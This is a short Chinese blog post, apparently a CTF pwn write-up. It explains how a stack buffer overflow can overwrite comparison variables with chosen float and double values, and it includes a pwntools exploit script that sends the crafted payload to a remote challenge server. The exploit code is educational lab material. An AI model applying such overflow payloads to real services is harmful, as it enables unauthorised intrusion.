版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/shakeyin1998/article/details/83042637
今天所遇到的题目都是判断变量放在内存当中 我们可以使用覆盖来对判断变量进行改变
当覆盖到变量之后 就可以实现我们想要的跳转
我们要覆盖v5的数值为11.28125 ,点看读进去的buf的地址 和v5的地址
发现相差 是0x20的大小所以直接发送'a'*20+(11.28215za在内存当中的数值)但是如何得到这个数在内存当中的数值呢 我们在汇编代码当中看
进去之后看到了数值
直接sendline('a'*0x20+'\x00\x80\x34\x41')就可以了
同样的还有今天的pwn签到题目 一样的套路 但是需要我们进行覆盖的是两个数值不是一个数值了
分别是指出来的 v7,v8
然后要在汇编当中看到比较的数值在内存当中的存储样子
直接给exp
from pwn import *
context.log_level = 'debug'
LOCAL = 0
if LOCAL:
r = process('task_gettingStart_ktQeERc')
#r =remote('localhost',4000)
else:
r =remote('49.4.78.189',30274)
payload = 'a' * 0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)
r.recv()
r.sendline(payload)
r.interactive()
~